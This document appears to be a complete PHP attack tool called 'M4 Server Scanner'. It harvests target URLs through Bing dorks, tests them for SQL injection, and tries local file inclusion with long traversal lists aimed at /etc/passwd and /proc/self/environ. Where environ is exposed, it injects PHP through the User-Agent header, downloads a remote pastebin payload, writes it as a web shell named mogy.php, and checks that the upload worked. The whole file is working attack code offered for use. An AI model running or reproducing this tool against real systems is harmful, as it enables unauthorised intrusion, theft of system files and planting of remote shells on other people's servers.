M4 Server Scanner

<?php
#M4 Server Scanner // INJ3CTOR_M4
set_time_limit(0);
error_reporting(0);

$options = getopt('s:l:');
if (isset ($options['s'])){
    echo"\n\t\tScanning SQLi From ".$options['s']."\n\n";
    $dorks = array('?id=', '.php?id=', '.php?category=', '.php?cat=', '.php?article_id=', '.php?product_id=', '?attachment_id=');
    foreach($dorks as $dork){
        foreach(Bing_it ("ip:".$options['s']." $dork") as $url){
            Check_Sql_Inj ($url);
        }
    }
}elseif (isset ($options['l'])){
    echo"\n\t\tScanning LFI From ".$options['l']."\n\n";
    $dorks = array('.php?action=', '.php?download=', '.php?file=', '.php?f=', '.php?page=', '.php?pg=', '.php?pagina=', '.php?lang=', '.php?language=');
    foreach($dorks as $dork){
        foreach(Bing_it ("ip:".$options['l']." $dork") as $url){
            lfi($url);
        }
    }
}

function Bing_it ($dork){
    for($i = 1; $i <= 2000; $i += 10){
        $data = Get_Source ("http://www.bing.com/search?q=".urlencode($dork)."&first=$i","SamsungI8910/SymbianOS/9.1 Series60/3.0");
        if (preg_match_all ('#<h2 class="sb_h3 cttl"><a href="(.*?)"#i', $data, $links)){
            foreach($links[1] as $link){
                $allLinks[] = $link;
            }
            if (!preg_match ('#class="sb_pagN"#i', $data)) break;
        }
    }
    if(!empty($allLinks) && is_array($allLinks)){
        return array_unique($allLinks);
    }
}

function Check_Sql_Inj ($url){
    $data = Get_Source ("$url%27","Accoona-AI-Agent/1.1.2 (aicrawler at accoonabot dot com)");
    if (preg_match ("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch_row()|SELECT * FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i", $data)){
        echo "[+] $url >> Vulnerable !\r\n";
    }else{
        echo "[~] $url\r\n";
    }
}

function lfi($url){
    $site = _Fix($url);
    $data = Get_Source ($site.'__dz__',"Accoona-AI-Agent/1.1.2 (aicrawler at accoonabot dot com)");
    if (preg_match ("/failed to open stream/i", $data)){
        echo "[+] $site >> Vulnerable !\r\n";
        $etcs = array ('/etc/passwd','../etc/passwd','../../etc/passwd','../../../etc/passwd','../../../../etc/passwd','../../../../../etc/passwd','../../../../../../etc/passwd','../../../../../../../etc/passwd','../../../../../../../../etc/passwd','../../../../../../../../../etc/passwd','../../../../../../../../../../etc/passwd','../../../../../../../../../../../etc/passwd','../../../../../../../../../../../../etc/passwd','../../../../../../../../../../../../../etc/passwd','../../../../../../../../../../../../../../etc/passwd','../../../../../../../../../../../../../../../../etc/passwd','....//etc/passwd','....//....//etc/passwd','....//....//....//etc/passwd','....//....//....//....//etc/passwd','....//....//....//....//....//etc/passwd','....//....//....//....//....//....//etc/passwd','....//....//....//....//....//....//....//etc/passwd','....//....//....//....//....//....//....//....//etc/passwd','....//....//....//....//....//....//....//....//....//etc/passwd','....//....//....//....//....//....//....//....//....//....//etc/passwd','../../etc/passwd%00','../../../etc/passwd%00','../../../../etc/passwd%00','../../../../../etc/passwd%00','../../../../../../etc/passwd%00','../../../../../../../etc/passwd%00','../../../../../../../../etc/passwd%00','../../../../../../../../../etc/passwd%00','../../../../../../../../../../etc/passwd%00','../../../../../../../../../../../etc/passwd%00','../../../../../../../../../../../../etc/passwd%00','../../../../../../../../../../../../../etc/passwd%00','../../../../../../../../../../../../../../etc/passwd%00','../../../../../../../../../../../../../../../../etc/passwd%00','....//etc/passwd%00','....//....//etc/passwd%00','....//....//....//etc/passwd%00','....//....//....//....//etc/passwd%00','....//....//....//....//....//etc/passwd%00','....//....//....//....//....//....//etc/passwd%00','....//....//....//....//....//....//....//etc/passwd%00','....//....//....//....//....//....//....//....//etc/passwd%00','....//....//....//....//....//....//....//....//....//etc/passwd%00','....//....//....//....//....//....//....//....//....//....//etc/passwd%00');
        foreach ($etcs as $etc){
            $data = Get_Source ($site.$etc,"Accoona-AI-Agent/1.1.2 (aicrawler at accoonabot dot com)");
            if (preg_match ("/root:x:/", $data)){
                echo"\t[+] $etc : Passwd Found!\r\n";
            }
        }
        $environs = array ('/proc/self/environ','../proc/self/environ','../../proc/self/environ','../../../proc/self/environ','../../../../proc/self/environ','../../../../../proc/self/environ','../../../../../../proc/self/environ','../../../../../../../proc/self/environ','../../../../../../../../proc/self/environ','../../../../../../../../../proc/self/environ','../../../../../../../../../../proc/self/environ','../../../../../../../../../../../proc/self/environ','../../../../../../../../../../../../proc/self/environ','../../../../../../../../../../../../../proc/self/environ','../../../../../../../../../../../../../../proc/self/environ','/proc/self/environ%00','../proc/self/environ%00','../../proc/self/environ%00','../../../proc/self/environ%00','../../../../proc/self/environ%00','../../../../../proc/self/environ%00','../../../../../../proc/self/environ%00','../../../../../../../proc/self/environ%00','../../../../../../../../proc/self/environ%00','../../../../../../../../../proc/self/environ%00','../../../../../../../../../../proc/self/environ%00','../../../../../../../../../../../proc/self/environ%00','../../../../../../../../../../../../proc/self/environ%00','../../../../../../../../../../../../../proc/self/environ%00','../../../../../../../../../../../../../../proc/self/environ%00');
        foreach ($environs as $environ){
            $data = Get_Source ($site.$environ,"Accoona-AI-Agent/1.1.2 (aicrawler at accoonabot dot com)");
            if (preg_match ("/HTTP_HOST/", $data)){
                echo"\t[+] $environ : Environ Found!\r\n";
                Get_Source ($site.$environ,"<?php file_put_contents('mogy.php',file_get_contents('http://pastebin.com/raw.php?i=2aPpqpNP'));  ?>");
                $pathinfo = pathinfo($site);
                $shellpath = $pathinfo['dirname'].'/mogy.php';
                if (preg_match ("/By Mogy/", Get_Source ($shellpath))){
                    echo"\tShell Uploaded: $shellpath\n\n";
                }else{
                    echo"Environ Methode Don't Allowed\n\n";
                }
            }
        }
    }
}

function _Fix($site){ preg_match_all("#(.*?)?(.*?)=(.*?)#",$site,$res); return $res[2][0]."="; }

function Get_Source ($url, $user_agent){
    $ch = curl_init();
    curl_setopt ($ch, CURLOPT_URL, $url);
    curl_setopt ($ch, CURLOPT_USERAGENT, $user_agent);
    curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt ($ch, CURLOPT_ENCODING, "gzip, deflate, compress");
    curl_setopt ($ch, CURLOPT_FRESH_CONNECT, 1);
    $source = curl_exec($ch);
    curl_close($ch);

    return $source;
}